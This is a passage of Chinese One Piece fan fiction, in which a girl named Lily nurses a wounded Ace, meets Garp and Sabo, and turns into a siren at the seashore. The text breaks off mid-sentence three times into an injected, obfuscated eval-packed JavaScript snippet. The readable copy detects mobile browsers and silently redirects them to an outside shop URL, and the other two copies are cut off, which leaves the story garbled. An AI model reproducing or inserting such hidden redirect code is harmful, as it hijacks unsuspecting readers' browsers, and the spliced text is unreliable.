“这个该死的臭老头,我总有一天……”达旦在他身后狠狠磨牙。 卡普回过头,脸上没有笑容,看起来威严又冷酷:“达旦,问你话呢。” 达旦立刻挤出假笑,献媚地搓着手上前:“来了来了,卡普先生。艾斯昨天和这个丫头还有她哥哥去不确定物终点站了,今天还没回来呢。” 咿,艾斯还没到吗?我看他走得那么快,还以为他早到了呢,是路上见到什么好玩的东西了吗?我不怎么担心艾斯的安危,森林里根本没有野兽打得过他。 卡普摸着下巴思索了一会儿,低头看向我:“小丫头,你刚刚说你和艾斯走散了?” “嗯。昨天下午下了一场很大的暴雨,艾斯和我们一起回家了。今天早上我们是一起出发的。我在路上扭到了脚……他走得比较快,我没有及时跟上他。然后我走累了,坐在树荫下休息,再然后就遇到卡普爷爷你了。” “这样啊。”卡普点点头,表示自己了解了。他伸了个懒腰,露出一个爽朗的笑容:“难得休假,达旦,来喝酒吧!” “谁要和你这个老东西喝酒……”达旦在卡普看过来的一瞬间装出开朗的样子,大声道:“哟,来开宴会了小的们!” 我看着他们兴冲冲的背影目瞪口呆。话题是怎么跳跃到开宴会上的? “莉莉,给你这个。”多古拉拿给我一双人字拖鞋,看大小应该是艾斯的。“先将就穿上吧,我们这里没有适合你的小鞋子。” 他好细心,居然注意到我的鞋子掉了。卡普、达旦还有其他人就完全没有发现。我接过鞋子,对多古拉甜甜地笑:“谢谢你多古拉,你真好。” 多古拉笑着拍了拍我的脑袋:“不用谢,莉莉是个好孩子,大家都很喜欢你,艾斯也是。” 我翘着脚尖晃了晃像是小船一样的拖鞋,笑得更甜了:“我知道,我也喜欢大家。” 我从马古拉那里拿到驱蚊草,收拾起东西准备回家,卡普却不放我走,非要抓着我参加所谓的“宴会”。他到底是艾斯的爷爷,我不好拒绝得太过分,只得在他身边坐下,看他和达旦一家喝酒划拳,抱怨工作的烦恼,儿子的叛逆,孙子的难搞…… 达旦本来不太想搭理他,但是几杯酒下肚后,她就彻底打开了话匣子,开始哭诉山贼难当,艾斯难带…… 最后大家都喝得满脸通红,浑身酒气,勾肩搭背地跳舞转圈,扯着嗓子鬼哭狼嚎。我时不时就要躲开不知从哪里飞过来的肉块、喝光的酒瓶和臭熏熏的袜子,好好一顿午饭吃得手忙脚乱,胆战心惊。 就在宴会的气氛热闹到险些把屋顶掀翻的时候,大门被重重推开了。一个小小的身影出现在走廊的阴影中。 是艾斯。 他垂着头,失魂落魄地走进大厅,衣衫破烂,浑身上下都是伤口和鲜血。 吵闹混乱的人们仿佛被按下了静止键,全都震惊地看向艾斯。 我紧张地朝他跑过去:“艾斯,你受……” 话还没说完,艾斯抬起了头。 那是什么样的眼神啊……就好像是终生困在黑暗里的人看见了日光。庆幸和喜悦从幽深的瞳孔中涌现,艾斯居然红了眼眶。 “莉莉?”他哑着嗓子叫我,表情恍惚得像在做梦。 我有点害怕,感觉他好像出了大问题。小心地拉住艾斯的手,我担忧地问:“你怎么了,艾斯?出了什么事?” 艾斯抓住我的手,手劲大得让我皱起了眉,他反过来问我:“你没事吗?受伤了吗?” “啊?”我茫然地张开嘴。 “你……还活着吗?”他的声音里透出隐隐的哭腔。 “?”好困惑。艾斯现在的状态看起来真的很不对劲,我尽量温柔地安抚他,牵引着他的手放到我的脸上。“我一点事都没有,没有受伤,身体也很健康。你摸摸看,我的脸是热的哦。” 艾斯的瞳仁颤动了一下,终于凝聚出了焦点。他茫然地凝视着我的眼睛,突然抱住了我。这个怀抱很紧,充满血腥味。抱着我的这个孩子在颤抖,仿佛一只受到惊吓的小兽,害怕到说不出话来,只能通过肢体的紧密交缠,可怜巴巴地述说着自己的恐惧。 “啪嗒”一声,一个东西摔到了我的脚边。我有心想看看那是什么东西,脑袋却被艾斯紧紧按在他的胸口,被迫倾听着他急促又混乱的心跳。 高大的阴影覆盖了我和艾斯,随着劲风吹过我的头顶,我听到艾斯闷哼了一声,整个人瘫软在我身上。 动手的卡普想要把艾斯和我分开,却发现艾斯的手仍旧死死地抱着我。他啧啧称奇:“明明都失去意识了。” “卡普爷爷——”我支撑着艾斯倒下的身体,没办法抑制话音里的埋怨,“你这是在干什么!艾斯都受伤了,别没轻没重地碰他!” “那什么,你直接叫老夫爷爷吧。” “?”我感到一阵莫名其妙。没心情研究卡普的话,我艰难地从艾斯的束缚中挣脱出双手,左手揽着他的腰,右手托住他无力的脖颈,轻轻拍着他的后背,在他耳边低语:“我在这里,我没有受伤,不要担心。艾斯,睡吧,我会陪着你。” 有湿热的液体滴落在了我的脖子上——是艾斯的泪水。 居然哭了……有那么伤心吗?我不太明白。我也不太明白为什么自己的心口酸酸的。 艾斯果然听进去了我的话,双手软软地垂落下来。 早就守在一旁的达旦适时接过艾斯,迅速将他抱到楼上,一叠声地吩咐小弟们烧热水拿酒精拿药粉拿绷带。 我们一大群人忙了大半天,端出去好几盆血水,总算处理完了艾斯身上的伤口。 他身上都是野兽的抓痕和咬痕,伤口的大小和形状各不相同,明显遭到了十多种不同种类野兽的攻击。 山大王被野兽们联合起来讨伐了?我叹了口气,重新拧了温热的毛巾,替换掉他额头上已经冷却的那条。 “祸害遗千年,这家伙,嗝,肯定能活到寿终正寝。”达旦仰头灌了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222162|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒,醉醺醺地安慰我。 尽管知道达旦只是刀子嘴豆腐心,我还是感到不太舒服。因为刀子嘴也是会伤人的。我就老是被艾斯这么对待。 “哈哈哈,不要愁眉苦脸的,小丫头。老夫的孙子没那么脆弱,明天就能活蹦乱跳地爬起来闯祸了。”卡普大马金刀地坐在另一边,看起来一点都不担心。 哦。那你们就老老实实地回去睡觉,别守在这里好吗?我一脸冷漠。 小孩子的身体到底熬不住,我在不知不觉间睡了过去。迷迷糊糊醒过来的时候,天光大亮,已经是第二天早晨了。视野中是半边缠满绷带的单薄肩膀,我眨了眨眼睛,意识回笼——是艾斯啊。 达旦和卡普都不在房间里,我睡在艾斯的旁边。大概是晚上我睡着了,被谁顺手塞进了艾斯的被窝——他们是真不怕我不小心压到艾斯的伤口。 右手无法动弹,艾斯把我的右手握在了他的掌心里。 “艾斯?你醒了吗?”我小声喊他。 他没回答我,但我分明看见他的睫毛动了一下。 房门和窗户都是关着的,没有风。 也许只是没有彻底恢复意识?我这样猜测着,放任他继续拉着我的手,用一个很别扭的姿势把左手伸向他的额头,摸了摸他额头上的温度。 很好,没有发烧,那就证明没有感染的风险。我松了口气。 没办法起床,也不想继续睡下去,我只好盯着艾斯的脸开始思考,试图搞清楚昨天发生了什么。 过了大概十多分钟,我感觉到艾斯握着我的那只手松了一下,又在下一秒瞬间收紧。 “你醒了吗?”我赶紧问。 他把头转到另一边:“没有。” “?”异世界真神奇呢,睡着的人居然能回答自己没醒。 又过了几分钟,我摇了摇自己被握住的右手,问他:“痛不痛?” 他收紧手指,闷声回答:“不痛。” “昨天发生了什么事?” “没什么,不小心掉进了野兽的巢穴。”他的语气很随意,就好像满身的伤都不存在一样。 “可以放开我了吗?手麻了。” “不要。” 你怎么回事呢?我很严肃地警告艾斯:“别仗着自己受伤就对着我为所欲为。” 他不回答我,继续假装自己睡着了。 我瞪着他乱糟糟的后脑勺,不想承认他确实可以这样,仗着自己受伤就对我为所欲为。于是我也不说话了。 这种在被窝底下手拉着手,彼此又互不理睬的状况一直持续到了有人推门进来。 是多古拉。 他端着一盘食物,轻手轻脚地进来,问我:“艾斯醒了吗?” 艾斯放开我的手,利落地翻身坐起:“我醒了。” 多古拉唬了一跳,赶紧去扶他:“啊啊啊,不能乱动,小心把伤口崩开。” 艾斯根本没理会多古拉的嘱咐,动作毫不收敛,张牙舞爪地抢过多古拉的盘子,抓起食物狼吞虎咽。 知道了,下次他再耍赖就用食物来引诱他。我慢吞吞地啃了一口艾斯“百忙”中递过来的食物。 “老夫就说他没事吧。”卡普出现在门口。他大摇大摆地走进来,一屁股坐在艾斯旁边,哈哈大笑:“不愧是老夫的孙子,身体真结实!” 从卡普出现以后,艾斯的脸就开始发青。他警惕地盯着卡普,不客气地问:“臭老头,你怎么在这里?” “爷爷来看看你,艾斯,”卡普蒲扇那么大的手掌落在了艾斯的脑袋上,“你有为了将来成为海军好好训练吧?” 海军?艾斯不是说将来要当海贼吗? “谁要当海军啊!!!” “哦——”卡普的眼神再一次变回了我初见他时的可怕模样,抚摸艾斯脑袋的动作变成了抓住艾斯的脑袋,把他拎在空中的动作。“看来你是没有受够教训。” 我赶紧抱住卡普的小腿,试图阻止下一秒即将发生的家庭暴力。“艾斯身上还有很严重的伤!卡普爷爷,不要对他那么粗暴!” 卡普没在意艾斯对他的拳打脚踢,低头看我:“老夫不是都让你直接叫爷爷了吗,小丫头。” “?”你在执着什么啊?我忍了,顺着卡普的意思叫了声“爷爷”,接着说:“就算要教育艾斯,也要等他身体痊愈。他真的伤得很重,刚才还拉着我的手喊痛呢。” 卡普一愣,随后爆发出响雷般的笑声。 艾斯的脸涨得通红,他羞愤地冲我吼叫:“闭嘴,你在胡说八道什么!” 这种时候就得装可怜啊,狗东西,一点都不懂我的心意!我额头的“井”字跳了出来,这两爷孙都好让人火大! 9. 萨博和匕首 最后艾斯还是没能逃过被卡普铁拳制裁的命运。 “要努力成为优秀的海军,艾斯,老夫可是对你寄予了厚望!”把自己重伤的孙子捶了满头包后,卡普丢下这句话扬长而去。 他被艾斯叫做臭老头真不冤枉,哪有这样欺负小孩的。 “你没事吧,艾斯?”卡普觉得我妨碍他揍艾斯,把我用绳子绑起来吊在了房梁上。我现在只能像毛毛虫一样使劲扭动,试图挣脱身上的绳索。哪有这样欺负小孩的(重音)。 鼻青脸肿的艾斯艰难地从地板上爬起来,声音虚弱地回答我:“勉强算是活着吧……” 他歇了一会儿,恢复了一些力气,依次拖来凳子和桌子,爬到最上面替我解绳子。他把我转来转去,尝试了十多分钟都没有解开绑着我的绳索,逐渐烦躁起来:“那个臭老头打的什么结啊,难解死了!你等等,我去拿匕首。” “在我这里哦。”窗口响起了萨博的声音。 “诶,萨博?”我惊讶地看过去。 “你怎么来了?”艾斯跳下桌子去开窗户。 猛然往外打开的窗户险些把萨博撞下窗台,他摇摇晃晃地跳了几步,总算平衡了身体,平安无事地跳进房间内。萨博先是仰着头看了我好一会儿,又从头到脚把模样凄惨的艾斯打量了一遍。他抬高黑色小礼帽的帽檐,笑得灿烂又纯真:“你们在玩什么奇怪的游戏?” “?”你才是在说什么奇怪的话。我蹬着腿在绳子上摇晃,不满地催促:“别说废话了,快帮忙把我放下来!” “我昨天等了你好久呢,莉莉。”萨博从腰间摸出一把匕首扔给艾斯,似真似假地抱怨了一句。 艾斯接过匕首,神色瞬间变了。 萨博爬上桌子,开始研究绑在我背后的绳结。 “我昨天不是托马古拉给你带话了嘛,我又不是故意爽约的。”我嘟起嘴,理不直气也壮。余光瞥到艾斯手里的匕首,我扭过头仔细看了一遍,疑惑道:“那把匕首不是你之前给艾斯的吗?现在怎么又跑回你那里了?” “是海鸥结呢,难怪艾斯解不开。这种绳结结构复杂难以挣脱,是海军专门研究出来捆绑犯人用的。”萨博看出绳索上的门道,一边摸索着去解,一边给我们科普。 居然用捆犯人的绳结来捆我?至于这么小题大做吗,这个臭老……不不不,还是尊重一下老年人,卡普毕竟是艾斯的爷爷。我在心里努力安抚自己。 “别只顾着发呆了,艾斯。过来帮我托住莉莉,别让她掉下去。” “……来了。”艾斯这才回过神来,收起匕首过来帮忙。他爬到桌子的另一边,弓起背让我骑在他的肩膀上,双手按住我的小腿好让我维持平衡。 我感觉绳子松了一点,不自觉地把手臂往外撑,被萨博出声制止:“不要乱动,小心磨到手臂。” “好麻烦哦——”我拖长尾音。 “麻烦的是我和艾斯,乖乖待着别动。” 总觉得萨博有点怪怪的,虽然表情和语气都和以前差不多。 “昨天……真的等了我很久吗?”想来想去,只有这件事了。 “是哦,一直等到了太阳落山,满天都是星星。”萨博的话音中仍旧带着笑意。 这算是在生气还是无所谓?我有点拿不准。眼珠子在眼睛里转了几圈,我试探性地问:“那今天还去吗?” “你想去吗?”萨博把问题抛了回来。 平时根本不会这样拐弯抹角地说话,所以是生气了吧,绝对是生气了!我求生欲很高地再次解释了一遍爽约的原因:“当然想去啦。昨天是因为艾斯受伤了嘛,我不放心他才留在这边的。” “好了,解开了。”萨博将我身上的绳子一圈一圈放开,从艾斯那里把我接过来,抱着我跳下桌子。他低头替我整理凌乱的衣服,好奇地问:“说起来,艾斯是因为什么受伤了?看起来还挺严重的。” “遇到了兽群。”艾斯说得很含糊。 萨博点了点头:“这样啊,难怪一路走来都是野兽们的尸体。” 艾斯突然把头转向我,对我说:“莉莉,我饿了,去厨房拿食物给我。” “啊?——哦。你饿不饿,萨博,要不要我多拿一点?” “有一点饿,拜托你啦。”萨博弯起眼睛笑,轻柔地摸了摸我的脑袋。 好像没有在生气了。我偷瞄了一眼萨博的表情,拖拉着不合脚的人字拖走出房间。 关门的时候,门缝里漏出萨博的一句话——“所有野兽都被开膛破肚随意扔在路边,艾斯,你做得……” “开膛破肚”?这个词是什么意思,待会儿问问厨房里的人好了。 来到厨房,我还没有说明来意,大家就主动把装满食物的托盘递了过来。 “照顾那个臭小鬼很辛苦吧?” “你也不要饿到肚子哦,小莉莉。” “要我们帮忙端上去吗?” 我赶紧谢绝了他们的帮助,接过托盘往楼上走。要是被他们看到萨博,绝对会摆出臭脸,达旦一家一向很排外。 走到楼梯拐角的时候,多古拉叫住了我。 他说昨天在大厅捡到我左脚的鞋子了,好像是艾斯带回来的。然后又用抱歉的语气说鞋子沾满了血,血迹已经洗不掉了,问我还要不要。 “没事,总比穿不合脚的鞋子强。”我表示不介意,反正天天在垃圾场和森林里穿梭,鞋子的外表干不干净根本无关紧要。 “鞋子在外面的架子上晾晒,你回家的时候记得拿哦。” “嗯嗯,谢谢多古拉。”我继续往楼上走。 来到艾斯房间的门前,双手端着托盘的我用脚踢了两下房门:“我拿食物来了,开门。” 萨博跑过来帮我开门,顺手接过了我手上分量不轻的托盘。 艾斯看到托盘里的食物,眼睛一下子亮起来。他不等萨博放下托盘就一手拿起一个肉腿,忙不迭地塞进嘴里——好像几百年没有吃过饭一样。 “你慢点吃啦,现在又没人和你抢。”我都不想站过去,免得食物的残渣碎屑溅到自己身上。 艾斯嗷呜嗷呜地狂吃,没有说话,只是用吃剩的骨头指了下萨博。 我默默移开眼睛。我才看不到萨博狼狈的吃相呢。 等等,是我的错觉吗?艾斯脸上是不是多出了几块青紫的於痕? 在我开始怀疑自己的记忆的时候,艾斯突然把脑袋往后一仰,拿着吃到一半的大腿肉没了动静。 “啊啊啊艾斯?!”我吓得大声尖叫,几步并作一步跑到他身边,伸出手又不敢碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我用没有沾到污渍的那部分衣料擦干净了他的脸,冷漠地开口:“手也伸过来。” 艾斯睁开眼睛看我,疑惑地问:“就这样?”同时乖乖伸出手。 “我记在心里了,等你养好伤就报复回来。”我把他的手擦干净,一抬眼就看到他在笑,不是冷笑,不是讥笑,是一个很纯粹的开心的笑容。我合理怀疑他把我的恶言恶语听成了别的东西。 “莉莉,我也要。” 我看向萨博,他对上我看过去的目光,指了指自己的脸,一副理直气壮的样子:“我平时也帮莉莉擦脸了哦。” “记得洗干净还给我。”我把那件脏得不能看的衣服扔到艾斯脚边,拿了干净的餐巾帮萨博擦脸。 “这件背心本来就是我的衣服吧,说什么还不还的。”艾斯在我背后小声嘟囔。 我竖着眉毛转头瞪他:“嗯?” “知道了知道了,会好好洗干净还给你的。”艾斯垂下肩膀,不自在地抓了抓自己的后脑勺。 “喂,艾斯,替我感谢达旦家的厨师先生,食物很好吃。”萨博抱起我跳上窗台,对艾斯龇着牙笑,“我带莉莉回家了,你要好好养伤哦。” “拜拜。”我对艾斯挥手。 艾斯愣了一下,随后扬起笑容同我们道别:“嗯,明天见。” 我脑袋上冒出一个问号:“诶,明天?” 萨博哈哈大笑,带着我跳下二楼的窗台,动作迅速又敏捷地向着森林跑去。 我把双手合成圆筒,冲在窗口向我们挥手的艾斯大声喊:“明天不许出来,给我老老实实养伤啊混蛋!” 10. 大海和塞壬 “哎呀,鞋子忘记拿了。”走到半路的时候,我突然想起了多古拉的嘱咐。 萨博闻言低头看了看我脚上的人字拖:“艾斯的鞋吗?大太多了吧。”他把托着我屁股的胳膊往上抬,重新调整了一下抱我的姿势,脸上露出思索的神色:“莉莉,我觉得……” “嗯?”我仰头去看他。 “可恶,被这样看着根本说不出口!”萨博抬高下巴痛苦闭眼。 “?” 萨博停下脚步,把我放到地上。他压住我的脑袋不让我抬头看他,清了清嗓子:“那个……莉莉,我认真地反思了一下,我和艾斯那个家伙确实做得不对。” “啊?”我一头雾水。 “莉莉太弱了,还很喜欢撒娇逃避修行,直到现在都没办法独自打败野猪。一旦没有乖乖呆在视线范围内,就让人担心得不得了。” 不是,干嘛突然开嘲讽?作为身体年纪大概只有四五岁的幼童,我觉得自己已经远超同龄人了!虽然搞不定野猪,但是我已经能够轻松地解决比野猪小上一些的野狼和山猫了。你们对我的要求到底是有多高啊! “所以昨天艾斯发现自己把你弄丢后,才会……咳,算了这种事情你不需要知道,那个家伙罪有应得。总之,我和艾斯今后会更严格地训练你!你也要好好努力,不要总是撒娇,知道吗?” 我每天的作息表大概是这样的: 7点起床。 8点开始进行3-4小时的森林跑步修行,跑道不限于粗壮的树枝、陡峭的岩石山壁和露出水面的鳄鱼脊背等等奇怪又危险的东西。跑步修行期间如果遇到合适的野兽(指不会瞬间把我打死的那种),萨博都会把我推出去和野兽对战。只有我躺在地上起不来的时候,萨博才会出手帮我,顺便解决当天的食物问题。 12点-3点用来吃午饭和午睡。 剩下的下午时间比较自由,要么跟着萨博和艾斯在不确定物终点站“寻宝”;要么跟着他们在森林里探险。乍一听挺轻松的,对吧。但是——带我玩的那两个人可是萨博和艾斯诶!没有危险的时候,他们会主动制造危险! 晚饭后,我还要在萨博那里学习异世界的文字和语言。 仔细想想,如果不是拥有一个成熟的灵魂,我早就被这两个狗东西养死了!!! “……知道了。”反正他们从来不听我的抗议,我能怎么办,还不是只能笑着苟活。 “莉莉真是个乖孩子。”萨博很开心地蹲下来揉我的脑袋。 我努力忍住跳起来撞他脑门的欲望,对他伸出手臂:“哥哥,抱。” “好嘞。”萨博立刻把我抱起来。 走了几步后,萨博恢复了理智,他不可置信地瞪大眼睛:“啊,莉莉你这个家伙,又用撒娇这一招!” 切,居然抵挡住了我的“哥哥”攻击。我搂住萨博的脖子,把自己的脑袋放到他的颈窝里轻轻磨蹭,奶声奶气地继续撒娇:“哥哥最好了,就这样抱着我去海湾嘛~” 萨博没有第一时间回答,显然是在进行心理斗争。 我给他倾斜的天平加上了最重的砝码——“最喜欢哥哥啦~” “确,确实,今天你的鞋子不合脚,走路会很不舒服。”萨博成功找出理由说服了自己。为了显得自己没有那么容易妥协,他又刻意板起脸,严肃地说:“下次一定要自己走,不能动不动就让哥哥抱你背你。走路跑步也是一种修行,明白吗,莉莉?” “嗯嗯,明白。”我乖巧点头。 萨博顿时笑逐颜开,毫不怀疑地相信了:“莉莉真乖。” * 灿烂的阳光从林间茂密的叶片间洒落,随着萨博的奔跑变成一片摇晃的光斑。鸟雀们总是被我们路过的动静吓到,惊惶地扑棱着翅膀往更高的枝头飞去。我们还遇到了认识的猴群,出生三个月的小猴子已经能在树干藤蔓间利索地跳跃奔跑了,她远远地冲我挥手打招呼,扔过来一个野果。 “谢啦~下次给你带新玩具——”我接过外表长得很像桃子却是蓝色的野果,拿给萨博辨认。直到他告诉我没有毒可以吃,我才放心地咬了一口。 “好甜哦。”我喜滋滋地咀嚼着果肉,举高果子喂给萨博。 “真的诶,好甜!” 我几口把剩下的果肉吃完,恋恋不舍地舔着手指头残留的汁水:“我们把果核留下,种到山洞前面吧。” 萨博没忍住笑出声:“你还没有放弃吗,明明什么东西都没有种活过。” 我不满地哼哼:“是那些幼苗和种子太脆弱了。”我养绿萝可是很拿手的,只要保证瓶子里有水,绿萝就绝对不会死。 一路说着乱七八糟的话题,我们来到了海湾。 萨博把我放下来,让我捡贝壳逮螃蟹玩,自己则蹲在沙滩上开始刨坑,说要给我挖个小泳池出来。 “不能直接在大海中教你学游泳,海浪可能会把你卷走,太危险了。” 你把我推到野猪蹄子下的时候可没这么谨慎。我在心里偷偷吐槽。 “那你加油。”我随口敷衍了一句,转身去追沙滩上横着爬行的小螃蟹。 身后传来萨博的叮嘱:“不要离海水太近哦。” “知道啦知道啦。” 沙滩上有各种奇怪的东西,有拿起来会喷水的海螺,有伪装成石头的章鱼,有翠绿的海草,还有果冻似的水母……我听说果冻,啊不是,水母会蜇人,没敢用手碰,用我的蝴蝶结钢管挑起来扔回了海里。 有点馋海鲜了。 我左右看了看,这片海湾除了萨博和我之外空无一人,大着胆子把短裤脱了,将裤腿打结做成一个大口袋,打算用来装螃蟹和海螺。反正我是个小孩子,脱光了玩都没问题,更别说我还给自己留了一条胖次。我真是个有节操的女孩子(叉腰)。 我还在沙滩的某个地方发现了一大片管状的砂堆,有点像我之前在赶海视频里看过的蛭子。我用钢管代替铲子往下挖,谁知挖了个空,沙堆底下的蛭子溜得飞快。 “下次得带点盐过来。”我鼓起脸。 没过一会儿功夫,我已经抓了一大包看起来可以吃的螃蟹和海螺。我得意洋洋地想要拿去给萨博看,没留神踩到了一条暴尸海滩的海鱼,脚下一滑仰天摔倒,螃蟹和海螺散落了一地。我尖叫着爬起来,慌忙去捡。 “吓我一跳,没摔伤吧?”萨博在不远处望着我,挖掘的小泳池已经初见规模。 “没……嘶,被夹到了!”忙中出错的我没有躲开螃蟹的小钳子,被夹到了右手食指。我甩了好几下手,螃蟹都没有松开钳子,反而越夹越紧。我痛得倒吸凉气,随手从沙滩上捡了块石头把螃蟹砸死,总算掰开了紧抓不放的蟹钳。 食指破了一道小口子,沁出几颗鲜红的血液。 倒也没什么事,这种伤口几分钟就能愈合。 在我平静的注视下,血珠坠落而下,在泛着白色泡沫的海浪上砸出一圈小小的涟漪。 “咚——” 同一个时刻,我听到了一声悠远的钟声。那道声音好像是从这片蔚蓝海洋的深处响起,又好像……自我的心中响起。 天幕低垂,乌云汇聚翻涌。平静的海面突然狂风大作,掀起骇人的滔天巨浪。 “咚——” “咚——” “咚——” 悠长空灵的钟声由远及近,音量由小变大,频率由慢变快。 脚下的海水仿佛化作了活物,沿着我的双脚蜿蜒而上。 和冰冷湿濡的海水一起吞噬我的,还有庞大到远远超过了我的大脑所能处理的信息——海底喷发的火山、游动的发光海鞘、撕咬猎物的鲨鱼、五彩斑斓的珊瑚、交缠的粉色海马,猎杀与繁育、生与死……我同时化作了无数海洋生物的眼睛,融入了他们由生到死的壮阔生命。 呆滞无光的双眼中映照着金发男孩向我奔来的身影,狂乱的海风吹飞了他头上的黑色小礼帽。他稚嫩的脸庞满是惊恐,向着我的方向拼命伸出手。 “莉莉!!!” 他在呼唤谁的名字?他……是谁? 我是……谁? 在金发男孩抓住我的前一刻,海水隔开他的指尖,彻底包裹了我,化为卵的形态。 金发男孩重重撞在了海水形成的卵上,他用力敲击着卵的外壳,嘴唇一张一合,仍在呼唤着什么。 我听不见他的声音,只看到海水形成的卵在他的敲击下漾起一圈一圈波纹,扭曲了卵之外的世界。 绚烂的光芒自海水卵的顶部倾泻而下,化作无数丝线,径直刺入我的身体。我清晰地感知到它们在我的皮肤下游蹿,钻入血管、挤进神经、吞咽下惊惶的细胞……双腿被强制闭合,皮肤、肌肉和骨骼融化又生长,覆盖上细细的硬质鳞片……肩胛骨轰然破碎,在光芒的控制下生长出完全不同的形状,撕裂血肉往身体外部展开…… 好痛!好痛!身体正在分解,我被消化了吗? 视野一片血红,我在紧窄的空间中挣扎,翻滚,痛哭…… 剧烈的疼痛让我无暇分辨时间的流逝,意识消失又复苏,如此循环往复无数次后,我终于撕开了束缚着我的光芒…… 幼小的手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是我的错吗?”我瞪大眼睛。 “我不是都让你离海水远一点了吗!你现在变成这个样子……”说到这里,萨博的神色变得茫然:“该怎么办啊……身体有哪里不舒服的地方吗?” “你勒得我很痛,算吗?” 萨博的身体僵住了。他稍微放松了一些力道,结结巴巴地开口:“对,对不起,我太紧张了。现在好点了吗,还有其他不舒服的地方吗?” 我多少能体会到萨博复杂的心情,没有再对他仍旧过大的手劲提出抗议。静下心感受了一下自己的身体,我摇了摇头:“没有。之前好像很痛很痛,现在没什么感觉了。” “之前?是被裹进海水的时候吗?” “应该是吧。”大概是那段记忆痛苦得超过了我的承受限度,所以身体为了保护我,自动把它从大脑中删除了。我对被海水吞噬后的情形只有一点模糊的印象。 萨博又问了好多问题,问我是不是碰了什么东西才会被包裹进海水中,在里面见到了什么听到了什么,记不记得父母是什么模样之类的,我全都摇头说不知道。问到后面,我已经非常不耐烦了。我皱着眉把他的脸推开,拖长了尾音抱怨:“不要再抱着我啦——萨博,你好热。” 再三让我保证自己绝对不会突然飞走后,萨博才愿意放开我,把我放进他之前给我挖的小泳池里。 我趴在小泳池边缘,在凉快的海水中舒展开鱼尾,满足地叹了口气。 萨博面色凝重地研究我的鱼尾和翅膀,顺便教了我一些之前没接触过的单词。 “唔,这个部位应该是腹鳍,能够在鱼游泳时起到平衡身体和辅助转向的功能。”萨博掀起耸拉在我的肚子与鱼尾交界处的鱼鳍,将它慢慢展开。 “这里是背鳍,也能起到平衡身体的作用,鳗鱼、带鱼之类的鱼类能靠这个地方推进速度。” “这里呢,是鱼尾中最重要的部分——尾鳍,能……” 我掀起尾巴泼了他一身水,不满地说:“不要再伸手摸我啦,都说你很热了。” 他擦掉脸上的水珠,疑惑地看了看自己的手:“我的手很热吗?” “嗯,热。”我点头。在我变成现在这个样子之前,我就觉得他平时的体温很热了。变成这个样子后,以前还能勉强忍受的温度差变得更加强烈,已经到了让我不舒服的程度。 萨博把手放在我收拢的翅膀上,问我:“这样呢,也会觉得热吗?” 我感受了一下,摇头:“这里不热。” “唔……”萨博捂住下巴思索了一会儿,猜测道,“变身后,你的身体和尾巴更像鱼类,所以人类的温度会让你觉得热;翅膀则更类似鸟类的身体部位,自身的温度和能接受的温度都比较高。莉莉,我好像知道你变成什么了。” 我眨巴着眼睛,等待他揭晓答案。 “是塞壬,神话传说中长着鸟的翅膀,人身鱼尾的神奇生物!” 11. 意外和仙贝 我和萨博就各自的遭遇和看法谈论了很久,最后拼凑出了一个准确率比较高的猜测——我大概本身就具有塞壬的血脉,血液滴入海水后,身体与海洋产生了共鸣,从而唤醒了我体内隐藏的血脉。 “这样说起来的话,你独自出现在戈尔波山深处的理由就很值得深究了。”萨博抱着膝盖坐在小泳池边,眉头紧皱,一副心事重重的样子。 不不不,我只是穿越了,塞壬血脉大概、也许、可能是穿越福利、金手指什么的?才没有什么值得深究的理由!你别老是想得那么复杂好不好,你真的是个小孩子吗…… 为了转开萨博的注意力,我赶紧找了个话题——“萨博,你刚才凶我了,对吧?”——顺便开始秋后算账。 “嗯?”萨博转头看我的时候还很轻松,看清我脸上的表情后,他开始慌了,迅速滑跪:“对不起,是我说话的声音太大了,请原谅我!” 我不满意地哼哼。 “因为那时候莉莉看起来完全不认识我了……”萨博回忆起当时的情形,垂下金色的睫毛,整个人像朵缺水的向日葵一样蔫蔫的。“用看陌生人的目光看着我,好像下一秒就会扇动翅膀飞到我无法触及的地方去。” 唔……我那时候确实是有点记忆混乱来着。 尾鳍在浅浅的海水中划过,我生疏地游到萨博身边,掰开他无意识握成拳头的手掌,把自己的手放进去。 “我不会飞走的。” 萨博收紧手指,弯起眼睛对我浅浅地笑了一下。他用怀念的语气开口:“你知道吗,莉莉,我以前曾经养过一只小鹦鹉,她的名字也叫莉莉呢。” 萨博从未对我提及自己的过去,我连忙趴到他的大腿上,仰起脑袋好奇地聆听。 他抚摸着我湿漉漉的头发,继续讲述:“我以前每一天都要上很多课,艺术、诗歌、礼仪……尽是些华而不实的东西。结束繁重的课业后,我最期待的就是去花园的西北角——莉莉的鸟笼就在那里。她每次看到我,都会用响亮的啼鸣欢迎我。她还很喜欢吃瓜子,会隔着笼子用小小的鸟喙轻轻啄我的手指,催促我拿瓜子给她。只是后来有一天……父亲打翻了鸟笼。她跳出破损的笼门,头也不回地飞走了。我在她身后哭着追了很久很久,她却一刻也没有为我停留。” “那时候,我很害怕莉莉也像那只和你同名的小鹦鹉一样……” “干嘛把我和鹦鹉混为一谈,我又没有住在笼子里,想走的话早就走了。” “嗯。”萨博发出一声含糊的鼻音,突然间举起拉着我的右手,对我露出灿烂的笑脸:“这一次我抓住莉莉啦,嘿嘿。” 笑得像个白痴一样。 “虽然出了一点意外,但是难得做了计划,还挖好了游泳池——开始学游泳吧,莉莉!” “诶,我都变成塞壬了……” “那你会游泳了吗?” 这个问题真是一语切中要害。 